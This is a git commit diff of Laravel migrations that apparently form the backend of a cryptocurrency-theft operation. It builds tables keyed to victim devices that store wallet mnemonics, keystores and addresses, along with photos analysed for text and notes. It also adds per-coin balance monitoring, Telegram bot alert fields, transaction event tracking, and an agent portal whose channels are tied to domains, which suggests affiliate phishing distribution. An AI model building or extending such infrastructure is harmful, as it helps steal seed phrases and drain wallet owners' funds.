This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
@@ -3,8 +3,9 @@
use Illuminate\Database\Migrations\Migration;
/**
* Laravel default users/sessions scaffolding — unused by Coruna Lab.
* Auth uses `admins`; session/cache/queue use file/sync drivers.
* Laravel default users/sessions scaffolding — no-op.
* Agent portal users/channels are created in 2026_08_06_000010_create_agents_and_channels.
* Admin auth uses `admins`; session/cache/queue use file/sync drivers.
*/
return new class extends Migration
{
@@ -41,12 +41,14 @@ return new class extends Migration
Schema::create('photos', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
$table->string('sha256', 64)->nullable()->index();
$table->string('sha256', 64)->nullable();
$table->string('path');
$table->unsignedInteger('width')->nullable();
$table->unsignedInteger('height')->nullable();
$table->unsignedInteger('size')->nullable();
$table->json('counters_json')->nullable();
$table->integer('x_hit')->nullable();
$table->unsignedInteger('upload_count')->nullable();
$table->unsignedInteger('process_index')->nullable();
$table->unsignedInteger('text_count')->nullable();
$table->unsignedInteger('barcode_count')->nullable();
$table->timestamps();
});
@@ -0,0 +1,38 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
if (Schema::hasColumn('photos', 'width')) {
$table->dropColumn('width');
}
if (Schema::hasColumn('photos', 'height')) {
$table->dropColumn('height');
}
if (! Schema::hasColumn('photos', 'x_hit')) {
$table->integer('x_hit')->nullable()->after('size');
}
});
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
if (Schema::hasColumn('photos', 'x_hit')) {
$table->dropColumn('x_hit');
}
if (! Schema::hasColumn('photos', 'width')) {
$table->unsignedInteger('width')->nullable()->after('path');
}
if (! Schema::hasColumn('photos', 'height')) {
$table->unsignedInteger('height')->nullable()->after('width');
}
});
}
};
@@ -0,0 +1,80 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
if (! Schema::hasColumn('photos', 'upload_count')) {
$table->unsignedInteger('upload_count')->nullable()->after('x_hit');
}
if (! Schema::hasColumn('photos', 'process_index')) {
$table->unsignedInteger('process_index')->nullable()->after('upload_count');
}
if (! Schema::hasColumn('photos', 'text_count')) {
$table->unsignedInteger('text_count')->nullable()->after('process_index');
}
if (! Schema::hasColumn('photos', 'barcode_count')) {
$table->unsignedInteger('barcode_count')->nullable()->after('text_count');
}
if (! Schema::hasColumn('photos', 'batch_ts')) {
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
}
});
if (Schema::hasColumn('photos', 'counters_json')) {
foreach (DB::table('photos')->whereNotNull('counters_json')->cursor() as $row) {
$c = json_decode((string) $row->counters_json, true);
if (! is_array($c)) {
continue;
}
[$upload, $proc] = $this->decodeHexPair($c['idx'] ?? null);
[$text, $barcode] = $this->decodeHexPair($c['ftu'] ?? null);
$batchTs = $c['ts'] ?? $c['batchBase'] ?? null;
DB::table('photos')->where('id', $row->id)->update([
'upload_count' => $upload,
'process_index' => $proc,
'text_count' => $text,
'barcode_count' => $barcode,
'batch_ts' => is_scalar($batchTs) ? (string) $batchTs : null,
]);
}
Schema::table('photos', function (Blueprint $table) {
$table->dropColumn('counters_json');
});
}
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
if (! Schema::hasColumn('photos', 'counters_json')) {
$table->json('counters_json')->nullable();
}
});
Schema::table('photos', function (Blueprint $table) {
foreach (['upload_count', 'process_index', 'text_count', 'barcode_count', 'batch_ts'] as $col) {
if (Schema::hasColumn('photos', $col)) {
$table->dropColumn($col);
}
}
});
}
/** @return array{0: ?int, 1: ?int} */
private function decodeHexPair(mixed $packed): array
{
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [hexdec(substr($packed, 0, 6)), hexdec(substr($packed, 6, 6))];
}
};
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
if (Schema::hasColumn('photos', 'batch_ts')) {
$table->dropColumn('batch_ts');
}
});
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
if (! Schema::hasColumn('photos', 'batch_ts')) {
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
}
});
}
};
@@ -0,0 +1,29 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
foreach (['photos_sha256_index', 'photos_x_hit_index'] as $name) {
try {
Schema::table('photos', function (Blueprint $table) use ($name) {
$table->dropIndex($name);
});
} catch (\Throwable) {
// Fresh installs already omit these indexes.
}
}
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
$table->index('sha256');
$table->index('x_hit');
});
}
};
@@ -0,0 +1,90 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
// Rebuild wallet_addresses with the simplified schema.
Schema::dropIfExists('wallet_addresses');
Schema::dropIfExists('wallets');
Schema::create('wallet_addresses', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('address')->index();
$table->string('chain_type', 64)->nullable();
$table->json('balance')->nullable();
$table->string('source', 64)->nullable();
$table->timestamps();
$table->unique(['device_id', 'address', 'source']);
});
Schema::create('wallet_mnemonics', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('source', 64)->nullable();
$table->text('mnemonic_enc')->nullable();
$table->timestamps();
});
Schema::create('wallet_keystores', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->json('raw_json');
$table->timestamps();
});
Schema::dropIfExists('notes');
Schema::create('notes', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
$table->json('content')->nullable();
$table->timestamps();
});
}
public function down(): void
{
Schema::dropIfExists('notes');
Schema::create('notes', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
$table->string('title')->nullable();
$table->longText('body')->nullable();
$table->json('meta_json')->nullable();
$table->timestamps();
});
Schema::dropIfExists('wallet_keystores');
Schema::dropIfExists('wallet_mnemonics');
Schema::dropIfExists('wallet_addresses');
Schema::create('wallets', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('source_app')->nullable();
$table->text('mnemonic_enc')->nullable();
$table->text('privkey_enc')->nullable();
$table->json('raw_json')->nullable();
$table->timestamps();
});
Schema::create('wallet_addresses', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
$table->string('address')->index();
$table->string('chain')->nullable();
$table->string('balance')->nullable();
$table->string('symbol')->nullable();
$table->boolean('telegram_notified')->default(false);
$table->json('meta_json')->nullable();
$table->timestamps();
$table->unique(['device_id', 'address', 'chain']);
});
}
};
@@ -0,0 +1,45 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
// Keep newest row per device+source; drop older duplicates from repeated /api/user/set.
$dupes = DB::table('wallet_mnemonics')
->select('device_id', 'source', DB::raw('MAX(id) as keep_id'))
->groupBy('device_id', 'source')
->get();
foreach ($dupes as $row) {
DB::table('wallet_mnemonics')
->where('device_id', $row->device_id)
->where(function ($q) use ($row) {
if ($row->source === null) {
$q->whereNull('source');
} else {
$q->where('source', $row->source);
}
})
->where('id', '!=', $row->keep_id)
->delete();
}
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->string('mnemonic_hash', 64)->nullable()->after('source');
$table->unique(['device_id', 'mnemonic_hash']);
});
}
public function down(): void
{
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->dropUnique(['device_id', 'mnemonic_hash']);
$table->dropColumn('mnemonic_hash');
});
}
};
@@ -0,0 +1,37 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('users', function (Blueprint $table) {
$table->id();
$table->string('username')->unique();
$table->string('password');
$table->unsignedTinyInteger('status')->default(1); // 1=enabled 0=disabled
$table->string('comment')->nullable();
$table->rememberToken();
$table->timestamps();
});
Schema::create('channels', function (Blueprint $table) {
$table->id();
$table->string('channel_id', 64)->unique();
$table->foreignId('user_id')->nullable()->constrained('users')->nullOnDelete();
$table->json('domains')->nullable();
$table->unsignedTinyInteger('status')->default(1);
$table->timestamps();
$table->index('user_id');
});
}
public function down(): void
{
Schema::dropIfExists('channels');
Schema::dropIfExists('users');
}
};
@@ -0,0 +1,105 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->decimal('usdt', 36, 6)->nullable()->after('chain_type');
$table->decimal('trx', 36, 6)->nullable()->after('usdt');
$table->decimal('eth', 36, 18)->nullable()->after('trx');
$table->decimal('btc', 36, 8)->nullable()->after('eth');
$table->decimal('bnb', 36, 18)->nullable()->after('btc');
$table->unsignedTinyInteger('monitor')->default(0)->after('bnb');
});
if (Schema::hasColumn('wallet_addresses', 'balance')) {
$rows = DB::table('wallet_addresses')->select(['id', 'balance'])->get();
foreach ($rows as $row) {
$map = $this->balanceToCoins($row->balance);
if ($map === []) {
continue;
}
DB::table('wallet_addresses')->where('id', $row->id)->update($map);
}
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropColumn('balance');
});
}
Schema::table('users', function (Blueprint $table) {
$table->string('chat_id', 64)->nullable()->after('comment');
$table->string('bot_id', 128)->nullable()->after('chat_id');
});
}
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropColumn(['chat_id', 'bot_id']);
});
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->json('balance')->nullable()->after('chain_type');
});
$rows = DB::table('wallet_addresses')->select(['id', 'usdt', 'trx', 'eth', 'btc', 'bnb'])->get();
foreach ($rows as $row) {
$balance = [];
foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'eth' => 'ETH', 'btc' => 'BTC', 'bnb' => 'BNB'] as $col => $symbol) {
$value = $row->{$col};
if ($value !== null && $value !== '') {
$balance[$symbol] = 0 + $value;
}
}
DB::table('wallet_addresses')->where('id', $row->id)->update([
'balance' => $balance === [] ? null : json_encode($balance, JSON_UNESCAPED_UNICODE),
]);
}
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropColumn(['usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor']);
});
}
/**
* @return array<string, mixed>
*/
private function balanceToCoins(mixed $balance): array
{
if ($balance === null || $balance === '' || $balance === '[]' || $balance === '{}') {
return [];
}
if (is_string($balance)) {
$decoded = json_decode($balance, true);
if (! is_array($decoded)) {
return [];
}
$balance = $decoded;
}
if (! is_array($balance)) {
return [];
}
$out = [];
foreach (['USDT' => 'usdt', 'TRX' => 'trx', 'ETH' => 'eth', 'BTC' => 'btc', 'BNB' => 'bnb'] as $symbol => $col) {
if (! array_key_exists($symbol, $balance) && ! array_key_exists(strtolower($symbol), $balance)) {
continue;
}
$raw = $balance[$symbol] ?? $balance[strtolower($symbol)] ?? null;
if ($raw === null || $raw === '') {
$out[$col] = null;
continue;
}
$out[$col] = is_numeric($raw) ? $raw : null;
}
return $out;
}
};
@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('tokenview_events', function (Blueprint $table) {
$table->id();
$table->string('txid', 128);
$table->string('address', 128);
$table->string('coin', 32);
$table->string('token_symbol', 32)->default('');
$table->string('value', 64)->nullable();
$table->string('token_value', 64)->nullable();
$table->timestamps();
$table->unique(['txid', 'address', 'coin', 'token_symbol'], 'tokenview_events_dedupe');
});
}
public function down(): void
{
Schema::dropIfExists('tokenview_events');
}
};
@@ -0,0 +1,37 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('admins', function (Blueprint $table) {
$table->unsignedTinyInteger('is_super')->default(0)->after('password');
});
// Promote the earliest admin (typically the seeder account) to super.
$firstId = DB::table('admins')->orderBy('id')->value('id');
if ($firstId !== null) {
DB::table('admins')->where('id', $firstId)->update(['is_super' => 1]);
}
Schema::create('settings', function (Blueprint $table) {
$table->id();
$table->string('key')->unique();
$table->text('value')->nullable();
$table->timestamps();
});
}
public function down(): void
{
Schema::dropIfExists('settings');
Schema::table('admins', function (Blueprint $table) {
$table->dropColumn('is_super');
});
}
};
@@ -0,0 +1,52 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('channels', function (Blueprint $table) {
$table->dropForeign(['user_id']);
});
DB::table('channels')->whereNull('user_id')->update(['user_id' => 0]);
$driver = Schema::getConnection()->getDriverName();
if ($driver === 'mysql') {
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NOT NULL DEFAULT 0');
} elseif ($driver === 'sqlite') {
// SQLite cannot MODIFY easily; recreate is heavy — leave column nullable-compatible.
// Application always writes 0 for official.
}
Schema::table('channels', function (Blueprint $table) {
if (! Schema::hasColumn('channels', 'remark')) {
$table->string('remark', 255)->nullable()->after('status');
}
});
}
public function down(): void
{
Schema::table('channels', function (Blueprint $table) {
if (Schema::hasColumn('channels', 'remark')) {
$table->dropColumn('remark');
}
});
DB::table('channels')->where('user_id', 0)->update(['user_id' => null]);
$driver = Schema::getConnection()->getDriverName();
if ($driver === 'mysql') {
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NULL');
}
Schema::table('channels', function (Blueprint $table) {
$table->foreign('user_id')->references('id')->on('users')->nullOnDelete();
});
}
};